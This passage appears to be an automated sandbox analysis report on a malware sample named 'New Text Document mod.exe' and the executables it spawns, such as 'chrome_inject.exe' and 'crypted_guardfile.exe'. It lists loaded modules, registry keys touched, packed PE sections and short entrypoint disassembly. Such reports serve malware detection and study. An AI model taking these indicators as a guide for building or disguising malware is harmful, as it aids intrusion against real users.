"API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "crypted_guardfile.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "crypted_guardfile.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7ffb6abe0000 "random.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 751c0000 "random.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 751c0000 "random.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 751c0000 "random.exe" loaded module "KERNEL32" at base 758e0000 "random.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "random.exe" loaded module "KERNEL32.DLL" at base 758e0000 "random.exe" loaded module "COMCTL32.DLL" at base 74c20000 "random.exe" loaded module "MSFTEDIT" at base 718c0000 "random.exe" loaded module "COMCTL32" at base 74c20000 "random.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.GLOBALIZATION.DLL" at base 71770000 "random.exe" loaded module "USER32.DLL" at base 76fe0000 "random.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73c50000 "random.exe" loaded module "RPCRT4.DLL" at base 766e0000 "random.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75e90000 "random.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 76fe0000 "random.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 76fe0000 "random.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 75740000 "random.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75f20000 "random.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 750a0000 "tmpFB41.tmp" loaded module "KERNEL32" at base 7ffb6c870000 "tmpFB41.tmp" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "tmpFB41.tmp" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "tmpFB41.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "tmpFB41.tmp" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "tmpFB41.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "tmpFB41.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "tmpFB41.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe00005e:T1104,"New Text Document mod.exe" was detected as ".NET" and name: "Library" "New Text Document mod.exe" was detected as "VB.NET" and name: "Compiler" "New Text Document mod.exe" was detected as "Microsoft Linker" and name: "Linker" "MSTeams.exe" was detected as ".NET" and name: "Library" "MSTeams.exe" was detected as "VB.NET" and name: "Compiler" "MSTeams.exe" was detected as "Microsoft Linker" and name: "Linker" "GL0ygTD.exe" was detected as ".NET" and name: "Library" "GL0ygTD.exe" was detected as "VB.NET" and name: "Compiler" "GL0ygTD.exe" was detected as "Microsoft Linker" and name: "Linker" "BrowserInstaller.exe" was detected as ".NET" and name: "Library" "BrowserInstaller.exe" was detected as "VB.NET" and name: "Compiler" "BrowserInstaller.exe" was detected as "Microsoft Linker" and name: "Linker" "0rXld4E.exe" was detected as ".NET" and name: "Library" "0rXld4E.exe" was detected as "VB.NET" and name: "Compiler" "0rXld4E.exe" was detected as "Microsoft Linker" and name: "Linker" "rabert.exe" was detected as ".NET" and name: "Library" "rabert.exe" was detected as "VB.NET" and name: "Compiler" "rabert.exe" was detected as "Microsoft Linker" and name: "Linker" "multifunctionalbackup294.exe" was detected as ".NET" and name: "Library" "multifunctionalbackup294.exe" was detected as "VB.NET" and name: "Compiler" "multifunctionalbackup294.exe" was detected as "Microsoft Linker" and name: "Linker" "lJ5IwxN.exe" was detected as ".NET" and name: "Library" "lJ5IwxN.exe" was detected as "VB.NET" and name: "Compiler" "lJ5IwxN.exe" was detected as "Microsoft Linker" and name: "Linker" "8RsL970.exe" was detected as ".NET" and name: "Library" "8RsL970.exe" was detected as "VB.NET" and name: "Compiler" "8RsL970.exe" was detected as "Microsoft Linker" and name: "Linker" "Setup.exe" was detected as ".NET" and name: "Library" "Setup.exe" was detected as "VB.NET" and name: "Compiler" "Setup.exe" was detected as "Microsoft Linker" and name: "Linker" "fz0oKy4.exe" was detected as ".NET" and name: "Library" "fz0oKy4.exe" was detected as "VB.NET" and name: "Compiler" "fz0oKy4.exe" was detected as "Microsoft Linker" and name: "Linker" "irsetup.exe" was detected as ".NET" and name: "Library" "irsetup.exe" was detected as "VB.NET" and name: "Compiler" "irsetup.exe" was detected as "Microsoft Linker" and name: "Linker" "random.exe" was detected as ".NET" and name: "Library" "random.exe" was detected as "VB.NET" and name: "Compiler" "random.exe" was detected as "Microsoft Linker" and name: "Linker" "cooking.exe" was detected as ".NET" and name: "Library" "cooking.exe" was detected as "VB.NET" and name: "Compiler" "cooking.exe" was detected as "Microsoft Linker" and name: "Linker" "server.exe" was detected as ".NET" and name: "Library" "server.exe" was detected as "VB.NET" and name: "Compiler" "server.exe" was detected as "Microsoft Linker" and name: "Linker" "fzCgCtE.exe" was detected as ".NET" and name: "Library" "fzCgCtE.exe" was detected as "VB.NET" and name: "Compiler" "fzCgCtE.exe" was detected as "Microsoft Linker" and name: "Linker" "chrome_inject.exe" was detected as ".NET" and name: "Library" "chrome_inject.exe" was detected as "VB.NET" and name: "Compiler" "chrome_inject.exe" was detected as "Microsoft Linker" and name: "Linker" "crypted_guardfile.exe" was detected as ".NET" and name: "Library" "crypted_guardfile.exe" was detected as "VB.NET" and name: "Compiler" "crypted_guardfile.exe" was detected as "Microsoft Linker" and name: "Linker" "ZAjTMWu.exe" was detected as ".NET" and name: "Library" "ZAjTMWu.exe" was detected as "VB.NET" and name: "Compiler" "ZAjTMWu.exe" was detected as "Microsoft Linker" and name: "Linker" "vulkan-1.dll" was detected as ".NET" and name: "Library" "vulkan-1.dll" was detected as "VB.NET" and name: "Compiler" "vulkan-1.dll" was detected as "Microsoft Linker" and name: "Linker" "06bK6nU.exe" was detected as ".NET" and name: "Library" "06bK6nU.exe" was detected as "VB.NET" and name: "Compiler" "06bK6nU.exe" was detected as "Microsoft Linker" and name: "Linker" "HCBSXXl.exe" was detected as ".NET" and name: "Library" "HCBSXXl.exe" was detected as "VB.NET" and name: "Compiler" "HCBSXXl.exe" was detected as "Microsoft Linker" and name: "Linker"5f:T1208,"NewTextDocumentmod.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "NewTextDocumentmod.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "NewTextDocumentmod.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "NewTextDocumentmod.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "NewTextDocumentmod.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "NewTextDocumentmod.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "NewTextDocumentmod.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "NewTextDocumentmod.exe" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "irsetup.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "random.exe" touched "Private Profile Object" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{75847177-F077-4171-BD2C-A6BB2164FBD0}\INPROCSERVER32")60:T556,"New Text Document mod.exe" has an executable section named ".text" "MSTeams.exe" has an executable section named ".text" "GL0ygTD.exe" has an executable section named "CODE" "BrowserInstaller.exe" has an executable section named ".text" "0rXld4E.exe" has an executable section named ".text" "rabert.exe" has an executable section named ".text" "multifunctionalbackup294.exe" has an executable section named ".text" "multifunctionalbackup294.exe" has an executable section named "_xss_9c" "lJ5IwxN.exe" has an executable section named "" "lJ5IwxN.exe" has an executable section named "xfyfrflz" "lJ5IwxN.exe" has an executable section named "gimohcoh" "lJ5IwxN.exe" has an executable section named ".taggant" "8RsL970.exe" has an executable section named ".text" "Setup.exe" has an executable section named ".text" "Setup.exe" has an executable section named ".itext" "fz0oKy4.exe" has an executable section named ".text" "fz0oKy4.exe" has an executable section named "s0" "fz0oKy4.exe" has an executable section named "iqw0" "fz0oKy4.exe" has an executable section named "iqw2" "irsetup.exe" has an executable section named "UPX0" "irsetup.exe" has an executable section named "UPX1" "random.exe" has an executable section named "CODE" "cooking.exe" has an executable section named ".text" "server.exe" has an executable section named ".text"61:T51e,"MSTeams.exe" has an writable section named ".data" "MSTeams.exe" has an writable section named ".idata" "GL0ygTD.exe" has an writable section named "DATA" "GL0ygTD.exe" has an writable section named "BSS" "GL0ygTD.exe" has an writable section named ".idata" "GL0ygTD.exe" has an writable section named ".tls" "BrowserInstaller.exe" has an writable section named ".data" "0rXld4E.exe" has an writable section named ".data" "rabert.exe" has an writable section named ".data" "multifunctionalbackup294.exe" has an writable section named "_xss_9b" "multifunctionalbackup294.exe" has an writable section named "_xss_9c" "lJ5IwxN.exe" has an writable section named "" "lJ5IwxN.exe" has an writable section named ".rsrc" "lJ5IwxN.exe" has an writable section named ".idata" "lJ5IwxN.exe" has an writable section named "xfyfrflz" "lJ5IwxN.exe" has an writable section named "gimohcoh" "lJ5IwxN.exe" has an writable section named ".taggant" "8RsL970.exe" has an writable section named ".data" "Setup.exe" has an writable section named ".data" "Setup.exe" has an writable section named ".bss" "Setup.exe" has an writable section named ".idata" "Setup.exe" has an writable section named ".didata" "Setup.exe" has an writable section named ".tls" "fz0oKy4.exe" has an writable section named ".data"62:T32ef,"New Text Document mod.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "MSTeams.exe" file has an entrypoint instructions - "jmp 0x45e0b0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, dword ptr [esp + 4],sub esp, 0x28,mov dword ptr [esp + 0x1c], ebx,mov dword ptr [esp + 0x10], ebp,mov dword ptr [esp + 0x14], esi,mov dword ptr [esp + 0x18], edi,mov esi, eax,mov edx, dword ptr fs:[0x14],cmp edx, 0,jne 0x46033c,mov eax, 0,jmp 0x4603a0,mov edx, dword ptr [edx],cmp edx, 0,jne 0x46034c,call 0x460440,mov dword ptr [esp + 0x20], edx,mov dword ptr [esp + 0x24], esp,mov ebx, dword ptr [edx + 0x18],mov ebx, dword ptr [ebx],cmp edx, ebx,je 0x460375,mov ebp, dword ptr fs:[0x14]," "GL0ygTD.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x3c,push ebx,push esi,push edi,xor eax, eax,mov dword ptr [ebp - 0x10], eax,mov dword ptr [ebp - 0x24], eax,call 0x4030dc,call 0x4042e8,call 0x40457c,call 0x404624,call 0x4065c8,call 0x408f38,call 0x4090a4,xor eax, eax,push ebp,push 0x40acc9,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,xor edx, edx,push ebp,push 0x40ac92,push dword ptr fs:[edx],mov dword ptr fs:[edx], esp,mov eax, dword ptr [0x40c014],call 0x409b78,call 0x409768," "BrowserInstaller.exe" file has an entrypoint instructions - "call 0x4f84bc,jmp 0x4f14ee,mov edi, edi,push ebp,mov ebp, esp,push ecx,push ebx,mov eax, dword ptr [ebp + 0xc],add eax, 0xc,mov dword ptr [ebp - 4], eax,mov ebx, dword ptr fs:[0],mov eax, dword ptr [ebx],mov dword ptr fs:[0], eax,mov eax, dword ptr [ebp + 8],mov ebx, dword ptr [ebp + 0xc],mov ebp, dword ptr [ebp - 4],mov esp, dword ptr [ebx - 4],jmp eax,pop ebx,leave ,ret 8,pop eax,pop ecx,xchg dword ptr [esp], eax,jmp eax,mov edi, edi,push ebp,mov ebp, esp,push ecx,push ecx,push ebx,push esi,push edi,mov esi, dword ptr fs:[0],mov dword ptr [ebp - 4], esi,mov dword ptr [ebp - 8], 0x4f16c9,push 0,push dword ptr [ebp + 0xc]," "0rXld4E.exe" file has an entrypoint instructions - "call 0x4074b9,jmp 0x406d60,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push 0x58,push 0x407640,call 0x40757c,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406db2,cmp eax, esi,jne 0x406da5,xor esi, esi,inc esi,mov edi, esi,jmp 0x406db5,push 0x3e8,call dword ptr [0x40a188],jmp 0x406d89,xor esi, esi," "rabert.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1401da5a8,add rsp, 0x28,jmp 0x1401d9ec4,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],sub rsp, 0x10,mov qword ptr [rsp], r10,mov qword ptr [rsp + 8], r11,xor r11, r11,lea r10, [rsp + 0x18],sub r10, rax,cmovb r10, r11,mov r11, qword ptr gs:[0x10],cmp r10, r11,bnd jae 0x1401da0a2,and r10w, 0xf000,lea r11, [r11 - 0x1000],mov byte ptr [r11], 0,cmp r10, r11," "multifunctionalbackup294.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,push -1,push 0x4c8548,push 0x4c72e0,mov eax, dword ptr fs:[0],push eax,mov dword ptr fs:[0], esp,sub esp, 0x68,push ebx,push esi,push edi,mov dword ptr [ebp - 0x18], esp,xor ebx, ebx,mov dword ptr [ebp - 4], ebx,push 2,call dword ptr [0x4c82f4],pop ecx,or dword ptr [0x4cdf98], 0xffffffff,or dword ptr [0x4cdf9c], 0xffffffff,call dword ptr [0x4c82f0],mov ecx, dword ptr [0x4cdf94],mov dword ptr [eax], ecx,call dword ptr [0x4c82ec],mov ecx, dword ptr [0x4cdf90],mov dword ptr [eax], ecx,mov eax, dword ptr [0x4c82e8]," "lJ5IwxN.exe" file has an entrypoint instructions - "jmp 0x14067800a,subps xmm4, xmmword ptr [rip],add cl, ch,add byte ptr [rax], ah,add byte ptr [rax], al,push bx," "8RsL970.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400018e4,add rsp, 0x28,jmp 0x140001168,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rdi,push r14,sub rsp, 0xb0,and dword ptr [rsp + 0x20], 0,lea rcx, [rsp + 0x40],call qword ptr [rip + 0x82a5],nop ,mov rax, qword ptr gs:[0x30],mov rbx, qword ptr [rax + 8],xor edi, edi,xor eax, eax,lock cmpxchg qword ptr [rip + 0xb9d2], rbx,je 0x1400011b2,cmp rax, rbx,jne 0x1400011ca,mov edi, 1," "Setup.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x5c,push ebx,push esi,push edi,xor eax, eax,mov dword ptr [ebp - 0x3c], eax,mov dword ptr [ebp - 0x40], eax,mov dword ptr [ebp - 0x5c], eax,mov dword ptr [ebp - 0x30], eax,mov dword ptr [ebp - 0x38], eax,mov dword ptr [ebp - 0x34], eax,mov dword ptr [ebp - 0x2c], eax,mov dword ptr [ebp - 0x28], eax,mov dword ptr [ebp - 0x14], eax,mov eax, 0x4a2ebc,call 0x40fd3c,xor eax, eax,push ebp,push 0x4a8ac1,push dword ptr fs:[eax],mov dword ptr fs:[eax], esp,xor edx, edx,push ebp,push 0x4a8a7b,push dword ptr fs:[edx],mov dword ptr fs:[edx], esp,mov eax, dword ptr [0x4b0634],call 0x4a16e8,call 0x4a1240,lea edx, [ebp - 0x14],xor eax, eax," "fz0oKy4.exe" file has an entrypoint instructions - "push r8,pushfq ,movabs r8, 0x9a3118ae30bb91a3,call 0x14017fa83,movabs eax, dword ptr [0xa30881f38bee7a90],scasb al, byte ptr [rdi],ficom dword ptr [rbx],add byte ptr [rcx + 0x62], cl,mov dword ptr [rbx + 0x62], 0x37d3d881,xor ah, byte ptr [rdx + 0x60],mov dword ptr [rdx + 7], esp,add esi, dword ptr [rdx - 0x4f],ror byte ptr [rbx - 0x7fdd5dca], 1," "irsetup.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x83e000,lea edi, [esi - 0x43d000],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x9f7188,inc esi,inc esi,push ebx,push 0x5f5188,push edi,add ebx, 4,push ebx,push 0x1b916c,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,push esi,push ebx,sub esp, 0x7c,mov edx, dword ptr [esp + 0x90],mov dword ptr [esp + 0x74], 0,mov byte ptr [esp + 0x73], 0,mov ebp, dword ptr [esp + 0x9c],lea eax, [edx + 4],mov dword ptr [esp + 0x78], eax," "random.exe" file has an entrypoint instructions - "push ebp,mov ebp, esp,add esp, -0x10,mov eax, 0x425388,call 0x40469c,mov eax, 0x4254c8,call 0x4070ac,mov edx, dword ptr [0x428840],mov dword ptr [edx], eax,mov edx, dword ptr [0x428840],mov edx, dword ptr [edx],mov eax, dword ptr [0x428848],call 0x422880,mov edx, dword ptr [0x428840],mov edx, dword ptr [edx],mov eax, dword ptr [0x4287dc],call 0x41b928,mov eax, dword ptr [0x428840],call 0x40a364,call 0x40359c,add byte ptr [eax], al,add bh, bh," "cooking.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400018e4,add rsp, 0x28,jmp 0x140001168,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rdi,push r14,sub rsp, 0xb0,and dword ptr [rsp + 0x20], 0,lea rcx, [rsp + 0x40],call qword ptr [rip + 0x82a5],nop ,mov rax, qword ptr gs:[0x30],mov rbx, qword ptr [rax + 8],xor edi, edi,xor eax, eax,lock cmpxchg qword ptr [rip + 0xb9d2], rbx,je 0x1400011b2,cmp rax, rbx,jne 0x1400011ca,mov edi, 1," "server.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "fzCgCtE.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400018e4,add rsp, 0x28,jmp 0x140001168,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rdi,push r14,sub rsp, 0xb0,and dword ptr [rsp + 0x20], 0,lea rcx, [rsp + 0x40],call qword ptr [rip + 0x82a5],nop ,mov rax, qword ptr gs:[0x30],mov rbx, qword ptr [rax + 8],xor edi, edi,xor eax, eax,lock cmpxchg qword ptr [rip + 0xb9d2], rbx,je 0x1400011b2,cmp rax, rbx,jne 0x1400011ca,mov edi, 1," "chrome_inject.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14001c95c,add rsp, 0x28,jmp 0x14001c158,int3 ,int3 ,sub rsp, 0x28,mov r8, qword ptr [r9 + 0x38],mov rcx, rdx,mov rdx, r9,call 0x14001c308,mov eax, 1,add rsp, 0x28,ret ,int3 ,int3 ,int3 ,push rbx,mov r11d, dword ptr [r8],mov rbx, rdx,and r11d, 0xfffffff8,mov r9, rcx,test byte ptr [r8], 4,mov r10, rcx,je 0x14001c333,mov eax, dword ptr [r8 + 8],movsxd r10, dword ptr [r8 + 4],neg eax,add r10, rcx,movsxd rcx, eax,and r10, rcx,movsxd rax, r11d," "crypted_guardfile.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x1400032ec,add rsp, 0x28,jmp 0x1400028a8,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x5f613],mov rcx, rbx,call qword ptr [rip + 0x5f602],call qword ptr [rip + 0x5f60c],mov rcx, rax,mov edx, 0xc0000409,add rsp, 0x20,pop rbx,jmp qword ptr [rip + 0x5f560],mov qword ptr [rsp + 8], rcx,sub rsp, 0x38,mov ecx, 0x17,call qword ptr [rip + 0x5f5ec],test eax, eax,je 0x140002b07," "ZAjTMWu.exe" file has an entrypoint instructions - "push ecx,call 0x401620,mov dword ptr [esp], 0,mov eax, dword ptr fs:[0x30],mov eax, dword ptr [eax + 0xc],mov eax, dword ptr [eax + 0xc],mov eax, dword ptr [eax],mov eax, dword ptr [eax],mov eax, dword ptr [eax + 0x18],mov dword ptr [esp], eax,mov ecx, dword ptr [esp],test ecx, ecx,jne 0x401561,lea eax, [ecx + 1],pop ecx,ret 0x10,mov edx, 0x98bbf8a5,call 0x4042e0,test eax, eax,je 0x401576,push 0x2328,call eax,push esi,mov dword ptr [esp + 4], 0,mov eax, dword ptr fs:[0x30],mov eax, dword ptr [eax + 0xc],mov eax, dword ptr [eax + 0xc],mov eax, dword ptr [eax],mov eax, dword ptr [eax],mov eax, dword ptr [eax + 0x18]," "vulkan-1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18004f071,call 0x18004f090,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18004ef20,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rbx,push rbp,mov rbp, rsp,sub rsp, 0x30,mov rax, qword ptr [rip + 0x88f9c],movabs rbx, 0x2b992ddfa232,cmp rax, rbx,jne 0x18004f127," "06bK6nU.exe" file has an entrypoint instructions - "push rbp,mov rbp, rsp,sub rsp, 0x30,mov dword ptr [rbp - 4], 0xff,mov rax, qword ptr [rip + 0xa38e4],mov dword ptr [rax], 1,call 0x140001154,mov dword ptr [rbp - 4], eax,nop ,nop ,mov eax, dword ptr [rbp - 4],add rsp, 0x30,pop rbp,ret ,push rbp,mov rbp, rsp,sub rsp, 0x30,mov dword ptr [rbp - 4], 0xff,mov rax, qword ptr [rip + 0xa38b5],mov dword ptr [rax], 0,call 0x140001154,mov dword ptr [rbp - 4], eax,nop ,nop ,mov eax, dword ptr [rbp - 4],add rsp, 0x30,pop rbp,ret ,push rbp,mov rbp, rsp," "HCBSXXl.exe" file has an entrypoint instructions - "sub rsp, 0x68,lea rcx, [rsp + 0x28],call 0x14000a8f4,mov ecx, eax,call qword ptr [rip + 0xcd776],int3 